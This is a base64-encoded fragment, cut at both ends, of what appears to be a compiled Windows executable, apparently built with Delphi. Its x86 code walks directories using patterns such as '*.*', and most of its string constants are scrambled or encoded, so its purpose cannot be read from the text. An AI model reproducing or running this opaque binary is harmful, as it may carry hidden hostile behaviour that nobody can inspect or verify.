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 VfTo/7T+/4tFmIsN5O5BAIsV4O5BAOgX+///WaEU70EA6Eyp/v+hGO9BAOhCqf7/jUX8ixUM fEEA6ATD/v8zwFpZWWSJEGjYgkEAjUWYuhkAAADoKrL+/41F/IsVDHxBAOjcwv7/w+mKrP7/ 691bi+VdwwAAAP////8BAAAANQAAAP////8DAAAARkQzAP////8FAAAAf3F5NToAAAD///// BQAAAHNufjU6AAAA/////wUAAAB0eH41OgAAAP////8FAAAANjdyf3kAAAD/////BQAAADY3 bnpvAAAA/////wUAAAA2N4J3fwAAAP////8FAAAANjeEdHwAAAD/////BQAAADY3b4NxAAAA /////wUAAAA2N4FsbgAAAP////8FAAAAT2ptc3EAAAD/////AwAAAGZ6awD/////AQAAAHkA AAD/////AQAAAGgAAAD/////AQAAAGkAAAD/////AQAAAHQAAAD/////AQAAADEAAAD///// KgAAAISdlaSoj6GVjXuYk6Odop+XoouHcnCLh3JwY4yIj5FQd5eblVF8kJ2WigAA/////wEA AAB3AAAA/////wEAAAAyAAAA/////wEAAABkAAAAVYvsgcQs/v//iVX4iUX8i0X86Im0/v+L RfjogbT+/zPAVWi3hEEAZP8wZIkgi1X8jYUs/v//6KPJ/v+NhSz+///oh8v+/4tV+I2FLP7/ /+jUtf7/6H7N/v+NhSz+///o5Mr+/zPAWllZZIkQaL6EQQCNRfi6AgAAAOg2sP7/w+mkqv7/ 6+uL5V3Di8BVi+y5mgEAAGoAagBJdflTVovYM8BVaMmHQQBk/zBkiSDHRfSADAAAjUX8UFNq AGoAagLoONj+/4XAD4WPAgAAx0X4ZAAAAI1F9FCNhXDz//9QjUX4UItF/FDoCdj+/4t1+IX2 D45lAgAAjZ188///iwOD4AKD+AJ1EotFCFCNQ/Toev///1npOQIAAItD+IPgAYP4AQ+FKgIA AI1F8ItTCOgWsf7/jY1s8///M9K44IdBAOgw2v//i5Vs8///uPTuQQDokK/+/42FZPP//4sV 6O5BAIoSiFABxgABjZVk8///jYVg8///6Jei/v+6+IdBAI2FYPP//7EC6FWi/v+NlWDz//+N hWjz///oGLH+/42FaPP//4sV9O5BAOhHsf7/i4Vo8///UI2FXPP//4sN9O5BAItV8Ohwsf7/ i5Vc8///sQFY6Grb//+EwA+EcwEAAI2NVPP//zPSuASIQQDohNn//4uNVPP//42FWPP//4tV 8Og0sf7/i4VY8///UI2FUPP//4sN9O5BALociEEA6Bex/v+LlVDz//9Y6NP9//+NjUzz//8z 0rgsiEEA6DXZ//+LlUzz//+49O5BAOiVrv7//3Xw/zX07kEAjY1E8///M9K4RIhBAOgK2f// /7VE8///jYVI8///ugMAAADoLLH+/4uFSPP//1D/dfD/NfTuQQCNjTzz//8z0rhUiEEA6NLY ////tTzz//+NhUDz//+6AwAAAOj0sP7/i4VA8///sQFa6Hra////dfD/NfTuQQCNjTjz//8z 0rhUiEEA6JPY////tTjz//+49O5BALoDAAAA6Law/v+h9O5BAOiwsf7/UOgW1P7/jYU08/// ixXo7kEAihLoH6/+/42FNPP//1CNjTDz//8z0rhoiEEA6ELY//+LlTDz//9Y6Lav/v+LhTTz //8zyYsV9O5BAOjv2f//g8MgTg+Fof3//zPAWllZZIkQaNCHQQCNhTDz//+6DAAAAOg8rf7/ jYVo8///ugIAAADoLK3+/41F8OgArf7/w+mSp/7/69BeW4vlXcMAAP////8UAAAAd4p+fZR7 hX9/dGyDjVtMTEl9kX8AAAAAAToAAP////8NAAAAcHKHh4N2inh3P3R0iAAAAP////8FAAAA QHdpbiAAAAD/////DAAAAG+HeoB3f4iFb4KGgAAAAAD/////BgAAAEA8OXGFbwAA/////wkA AAB0eXpCQjtzh3UAAAD/////FQAAAFZ1jIB/kn2HgX12boWLXU5OR3+TgQAAAFWL7LkLAAAA agBqAEl1+VFTiUX8i0X86Dyw/v+79O5BADPAVWgGi0EAZP8wZIkgagFqAY1F9FC5HItBALoo i0EAofzuQQDo4dX//41N8DPSuDSLQQDo0tb//4tV8IvD6Dis/v+NReyLC4sV6O5BAOh8rv7/ i1XssQGLRfzod9j//41N+DPSuEiLQQDonNb//2oAagGNRehQjU3kM9K4iItBAOiF1v//i0Xk UI1F4IsLixXo7kEA6DWu/v+LTeCLRfha6GXV//+DfegAdTdqAWoBjUXcUI1N2DPSuIiLQQDo SNb//4tF2FCNRdSLC4sV6O5BAOj4rf7/i03Ui0X4Wugo1f//jU3QM9K4nItBAOgZ1v//i1XQ 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 //8BAAAAMwAAAFWL7LlTAAAAagBqAEl1+VMzwFVoF6BBAGT/MGSJILIBoWi7QADotpr+/6MU 70EAsgGhaLtAAOilmv7/iUWMsgGhaLtAAOiWmv7/iUWIswEzwIlFlI2NYP///zPSuCygQQDo es7//4uVYP///7j07kEA6Nqj/v9qAGoAjUX8UI2NXP///zPSuGSgQQDoUM7//4uVXP///zPJ ofTuQQDoPs3//4N9/AAPhLMAAAD/NfTuQQCNjVj///8z0riEoEEA6BzO////tVj/////dfxo mKBBAI1F/LoEAAAA6Dmm/v9qAGoAjUX4UI2NVP///zPSuKSgQQDo583//4uVVP///zPJi0X8 6NfM//9qAGoAjUX0UI2NUP///zPSuMCgQQDovc3//4uVUP///zPJi0X86K3M//9qAGoAjUXw UI2NTP///zPSuNSgQQDok83//4uVTP///zPJi0X86IPM///rR41N9DPSuPCgQQDocs3//42V SP///7gFAAAA6FLO////tUj///9oCKFBAP919I1F+LoDAAAA6H+l/v+NVfC4BQAAAOgqzv// agBqAY1F0FAzyboUoUEAofzuQQDoIcz//2oAagGNRcxQM8m6JKFBAKH87kEA6AjM//9qBo1F wLkBAAAAixVgkEEA6Oey/v+DxASLRcCDwASLVfToUqL+/2oAagGNhUT///9QM8m6NKFBAKH8 7kEA6MbL//+LlUT///+LRcCDwAjoJaL+/42NQP///zPSuEShQQDoo8z//4uVQP///4tFwIPA FOgCov7/jY08////M9K4WKFBAOiAzP//i5U8////i0XAg8AQ6N+h/v+NjTj///8z0rhsoUEA 6F3M//+LlTj///+LRcCDwAzovKH+/8dFoAEAAADGRYcAi0XAi1WgiwSQ6EP8//+EwHQcxkWH AY1F9ItVwItNoIsUiujOof7/x0WgBQAAAP9FoIN9oAV+yWoBagGNhTT///9Qi030uoihQQCh /O5BAOjtyv//gH2HAHQPjUXUupShQQDojqH+/+sNjUXUuqChQQDof6H+/2oBagGNhTD///9Q i03UuqyhQQCh/O5BAOiuyv//ahSNhWf///9Q6DjI/v8Pt8BQ6O/I/v9qBY1FyLkBAAAAixVg kEEA6Hax/v+DxASNhSj///+KlWf///+IUAHGAAGNlSj///+NhST////o+JP+/42FIP///4qV aP///4hQAcYAAY2VIP///42FJP///7EC6KOT/v+NlST///+NhRz////owpP+/42FIP///4qV af///4hQAcYAAY2VIP///42FHP///7ED6G2T/v+NlRz///+NhSz////oMKL+/4uFLP///1CN jRj///8z0ri4oUEA6NfK//+LlRj///9Y6FOj/v8Pha8AAACNTewz0rjEoUEA6LbK//+NTegz 0rjgoUEA6KfK//+NjRT///8z0rgEokEA6JXK//+LlRT///+LRciDwATo9J/+/42NEP///zPS uESiQQDocsr//4uVEP///4tFyIPACOjRn/7/jY0M////M9K4gKJBAOhPyv//i5UM////i0XI g8AM6K6f/v+NjQj///8z0ri0okEA6CzK//+LlQj///+LRciDwBDoi5/+/+mqAAAAjU3sM9K4 9KJBAOgHyv//jU3oM9K4EKNBAOj4yf//jY0E////M9K4MKNBAOjmyf//i5UE////i0XIg8AE 6EWf/v+NjQD///8z0rhso0EA6MPJ//+LlQD///+LRciDwAjoIp/+/42N/P7//zPSuKijQQDo oMn//4uV/P7//4tFyIPADOj/nv7/jY34/v//M9K43KNBAOh9yf//i5X4/v//i0XIg8AQ6Nye /v+4BAAAAOiqkv7/i1XIi1SCBI1F5OgHn/7/jUXY6Gee/v9qAGoBjUXgUI2N9P7//zPSuByk QQDoMcn//4uF9P7//1CNhfD+//+5KKRBAIsV/O5BAOjYoP7/i4Xw/v//M8la6AbI//+NVaiL ReDox5L+/4lFqIN9qAB0PI2N6P7//zPSuDikQQDo4Mj//4uN6P7//42F7P7//4sV6O5BAOiN oP7/i5Xs/v//i0WMiwj/UVj/TajrYmoAagGNRdhQM8m6TKRBAKH87kEA6J3H//9qAWoBjYXk /v//ULlcpEEAumikQQCh/O5BAOh+x///agFqAY2F4P7//1Azybp4pEEAofzuQQDoYsf//4tF 2OhW2v7/hMB1AjPbagFqAY2F3P7//1CNhdj+///oBvn//4uN2P7//7qEpEEAofzuQQDoKcf/ /4TbD4QUCAAAagWNRby5AQAAAIsVYJBBAOgArv7/g8QEi0W8g8AEupSkQQDoaZ3+/4tFvIPA CLqgpEEA6Fmd/v+LRbyDwAy6rKRBAOhJnf7/i0W8g8AQurikQQDoOZ3+/2oIjUXEuQEAAACL FWCQQQDoqK3+/4PEBItFxIPABLrEpEEA6BGd/v+LRcSDwAi6xKRBAOgBnf7/i0XEg8AMusSk QQDo8Zz+/4tFxIPAELrQpEEA6OGc/v+LRcSDwBS63KRBAOjRnP7/i0XEg8AYuuikQQDowZz+ /4tFxIPAHLr0pEEA6LGc/v+NRdToVZz+/2oAagGNhdT+//9QM8m6AKVBAKH87kEA6B3G//+L hdT+//+NVaTo25D+/4lFpIN9pAB0BoN9pAd1B8dFoAEAAABqAGoBjYXQ/v//UDPJuhClQQCh /O5BAOjdxf//i4XQ/v//jVWQ6JuQ/v+JRZCDfaAHD4+1BgAAjY3M/v//M9K4IKVBAOiwxv// i5XM/v//i0XEi02giwyIjUXc6F2e/v9qAGoBjUXgUI2FyP7//7kopEEAixX87kEA6D+e/v+L hcj+//8zyYtV3Ohrxf//jVW0i0Xg6CyQ/v+JRbSDfbQAD4QXBgAAi0W0hcAPjgwGAACJRYDH RbgBAAAAoRTvQQCLEP9SQI2VyP3//4tFuOjmj/7/jZXI/f//uPTuQQDoVp3+//816O5BAGiY oEEA/3Xc/zX07kEAjY3A/f//M9K4LKVBAOjwxf///7XA/f//jYXE/f//ugUAAADoEp7+/4uV xP3//6EU70EAiwj/UVihFO9BAIsQ/1IUSIlFsItFkItVsCvQD4xmBQAAQomVfP///4lFrGoB agGNhbz9//9QuTylQQC6SKVBAKH87kEA6IXE//+KRYfojfT//4TAD4QeBQAAg33UAHQKg32U CA+FRgEAADPAiUWUg33YAA+FLAEAAItFqOiWjv7/i9CNjbj9//+LRYyLGP9TDIuVuP3//7j0 7kEA6J6a/v+h9O5BAOgg1/7/hMAPhOUAAACNVdSh9O5BAOhP2f7/jZWw/f//i0XU6GHH//+L hbD9//+NjbT9//+6AQAAAOjrxP//i4W0/f//ulSlQQDoY53+/3Q5/3XUaGClQQC4BAAAAOgP jv7/i1W8i0SCBI2NrP3//zPS6LPE////taz9//+NRdS6AwAAAOjYnP7//zXw7kEAaJigQQD/ ddSNhaj9//+6AwAAAOi6nP7/i4Wo/f//6HPW/v+EwHVUi0XUUItF9FCLRfhQagCNhaT9//+5 mKBBAIsV8O5BAOgTnP7/i42k/f//ixX07kEAodjuQQDoTdb//+sYjUXUi1XY6OCZ/v/rC41F 1ItV2OjTmf7/sgGh+CRBAOjHif//oxzvQQAzwFVoTp9BAGT/MGSJIGhspUEA/3XwaHilQQD/ dfhohKVBAKEc70EAg8AMugUAAADoEZz+/42NoP3//4tVrKEU70EAixj/UwyLlaD9//+hHO9B AItAEIsI/1E0aPTuQQCLVdS4YKVBAOipnf7/i8hJugEAAACLRdToEZ3+/6Ec70EAg8AUixX0 7kEA6O6Y/v+LRYiLEP9SQItV7ItFiIsI/1E0upClQQCLRYiLCP9RNItV5ItFiIsI/1E0upCl QQCLRYiLCP9RNItV6ItFiIsI/1E0i1WIoRzvQQDooon///818O5BAGiYoEEA/3XUjYWc/f// ugMAAADoSJv+/4uVnP3//6Ec70EA6FyK//+hHO9BAOiOi///oRzvQQDoSI3//42NmP3//4tV rKEU70EAixj/UwyLlZj9//+LRfjoU5v+/3UljY2U/f//M9K4nKVBAOi3wv//i42U/f//i1Ws oRTvQQCLGP9TIIN9rAB1QoN9zAB1PItN0ItVrKEU70EAixj/UyBqAWoBjYWQ/f//ULmUoUEA uiShQQCh/O5BAOhpwf//jUXMupShQQDoEJj+/2oBagGNhYz9//9QubilQQC6SKVBAKH87kEA 6D3B//+hHO9BAItACFCNjYj9//+LVayhFO9BAIsY/1MMi5WI/f//i030i0X46LyU//+EwA+E kgEAAGoAagGNhYT9//9QM8m6xKVBAKH87kEA6OzA//+LhYT9//+NVZzoqov+/4lFnP9FnI2V yP3//4tFnOiKi/7/jZXI/f//uPTuQQDo+pj+/2oBagGNhYD9//9Qiw307kEAusSlQQCh/O5B AOiawP///0WUagFqAY2FfP3//1C50KVBALpIpUEAofzuQQDoeMD//2oAagGNhXj9//9QM8m6 hKRBAKH87kEA6FzA//+LhXj9//+NVZjoGov+/4lFmGlFmGDqAABQ6I6+/v9qAWoBjYV0/f// UI2NcP3//4tVrKEU70EAixj/UwyLjXD9//+63KVBAKH87kEA6AvA//+Nlcj9//+LRazovYr+ /42VyP3//7j07kEA6C2Y/v9qAWoBjYVs/f//UIsN9O5BALoQpUEAofzuQQDozb///4tFrDtF sHURuPTuQQC6oKFBAOgmlv7/6x6Nlcj9//+LRaDoZor+/42VyP3//7j07kEA6NaX/v9qAWoB jYVo/f//UIsN9O5BALoApUEAofzuQQDodr///zPAWllZZIkQaFWfQQChHO9BAOiPjP7/w+kN kP7/6+7/Raz/jXz///8PhaT6////Rbj/TYAPhf75//+KRYfoRO///4TAdA+DfaAHdRDHRaAB AAAA6wfHRaAHAAAA/0Wgg32gBw+OS/n//6EU70EA6DOM/v+LRYzoK4z+/4tFiOgjjP7/M8Ba WVlkiRBoHqBBAI2FaP3//7oYAAAA6BaV/v+Nhcj+//+6FQAAAOgGlf7/jYUs////ug4AAADo 9pT+/41FvIsVYJBBALkEAAAA6N+b/v+NRcy6DQAAAOjWlP7/w+lEj/7/66hbi+VdwwD///// LAAAAIafl6aqkaOXj32alaWfpKGZpI17oaSWpKGVpVJ0k5ShqJ6lUoCRn5OalaOOAAAAAP// //8UAAAAX31/e5CEjTpoeYKGO1l8fYqNh44AAAAA/////wkAAABRcHF+hXuCgmwAAAD///// AQAAAFwAAAD/////EgAAAGxja2g5W4R5goI3WX16iX2MiQAA/////wsAAABlXGRhMmJ1g4h0 ggD/////EQAAAGtiamc4WX+KiIF3kDhjd4R9AAAA/////w4AAACFhIJ4fnmMQoN3h0KCigAA /////wEAAABAAAAA/////wUAAABGQjFCQgAAAP////8FAAAARkIxQkMAAAD/////BQAAAEZC MUJBAAAA/////wkAAAB3fHN6dTt8dIQAAAD/////CgAAAHZ8e3F0cz1+doIAAP////8RAAAA fIR4g314goB7gER6h4JEhJAAAAD/////AwAAAEZENQD/////AQAAADEAAAD/////AQAAADAA AAD/////AwAAAEZENgD/////AwAAAE96eAD/////EQAAAGCEgng4eIWEhzV7iox2iTdXAAAA /////xoAAABvjZJAl4OMj5Q+j5KQjJOPTT6GkoKBiIGUTAAA/////zcAAACSoFyqn6mgrF6g r7GjW52voaOls61brJ6wnFyus6BcqqNboKKxW7CyXquxq7KqXKGjW7Kmsa+dAP////8zAAAA f6qonqymWKafV6iun5uZrFqYsa6emKpZnaamWZ+jWJqsmqCisKZYqq+cWK2fV6WaqJunAP// //8pAAAAdaCelKKcTqOVTZWko6GTT5WgopRQjqCSmJaknlCeo5RQoZNPnY6ck58AAAD///// NAAAAICrrZ9bnaxaoKRZm62boaOxp1mdqqZZppxYoqihp6unnJuiLalYqq+gWKafW6ienqSr rZ8AAAAA/////xAAAABffTY2X4OMNniGejaQg4pVAAAAAP////8VAAAAb35/O5WIjzuIeo6A jkc6b4R6iIaPAAAA/////zEAAACBVamcpplWsKeqVqugnqlXnp6inFiepFenp5qcqlWqplid l62dVa+mradWmJyrn5qdAAAA/////zEAAACBVZ6mqJpWsKeqVpqZo1afnaGmV6WaVq6hqZ5X rJ2fqlibn6OdVaqfmalWgFiom6WcAAAA/////ykAAAB5TZaeoJJOqJ+iTpuZmJNPpJWTT5aW mpRQoZaQpE13T6OSnJOfTaeepQAAAP////82AAAAkaKkr12jrlyxoqBco6OnoV2xpLClWq+k olqkqqOpramerqSrq1qvpJ6uW7Wsr1udsKVboqysAAD/////AwAAAH1qbAD/////BAAAAFxG QTAAAAAA/////wgAAABrf3ByPXB5egAAAAD/////BAAAAEZCMUIAAAAA/////wEAAAAyAAAA /////wQAAABGQzQzAAAAAP////8DAAAARkM0AP////8EAAAARkQxMQAAAAD/////AwAAAHpw bgD/////AwAAAHZ1cwD/////AwAAAGxofAD/////AwAAAG12dQD/////AQAAAHcAAAD///// AQAAAHkAAAD/////AQAAAGgAAAD/////AQAAAGkAAAD/////AQAAAHQAAAD/////BAAAAEZD NDIAAAAA/////wUAAABGQzQyMQAAAP////8CAAAAfGkAAP////8EAAAAOWx1dgAAAAD///// AQAAADcAAAD/////AwAAAEZEMwD/////AwAAAG9/bQD/////AQAAAC4AAAD/////AQAAACIA AAD/////AwAAACIgPAD/////AQAAAD4AAAD/////AQAAACAAAAD/////EwAAAImLioiMhoSF iVd9jId4i0d9hoUA/////wEAAAA4AAAA/////wMAAABGQzgA/////wEAAAA5AAAA/////wQA AABGRDEwAAAAAFWL7DPJUVFRUVFRUTPAVWj6pkEAZP8wZIkgagBqAY1F+FAzyboQp0EAofzu QQDolbj//4tF+I1V/OhWg/7/iUX8gz0Q70EAAXVGjU30M9K4HKdBAOhvuf//i1X0uPTuQQDo 0o7+/2oBagCNRfBQjU3sM9K4TKdBAOhLuf//i1Xsiw3k7kEAofTuQQDoOLj//4N9/AB/RoM9 EO9BAAJ8PWoAagGNRehQM8m6aKdBAKH87kEA6BC4//+LRejogNj//2oBagGNReRQuXinQQC6 EKdBAKH87kEA6Oy3//+DffwBfxmDPRDvQQACfBCwAejm5///hMB0Bejt6f//M8BaWVlkiRBo AadBAI1F5LoGAAAA6PON/v/D6WGI/v/r64vlXcMAAAD/////AwAAAEZDNAD/////JQAAAH+Y kJ+jipyQiHaTjp6YnZqSnYZ0mp2PnZqOnktxoZqXm5uPnYgAAAD/////EgAAAF2FjoaFhXh8 OVqAin55i4eLjwAA/////wQAAABGQzQzAAAAAP////8BAAAAMQAAAFWL7GoAU1aL8ovYM8BV aNGnQQBk/zBkiSCNRfzoK43+/4XbfhCNRfy66KdBAOh+j/7/S3Xwi8aLVfzoYY3+/zPAWllZ 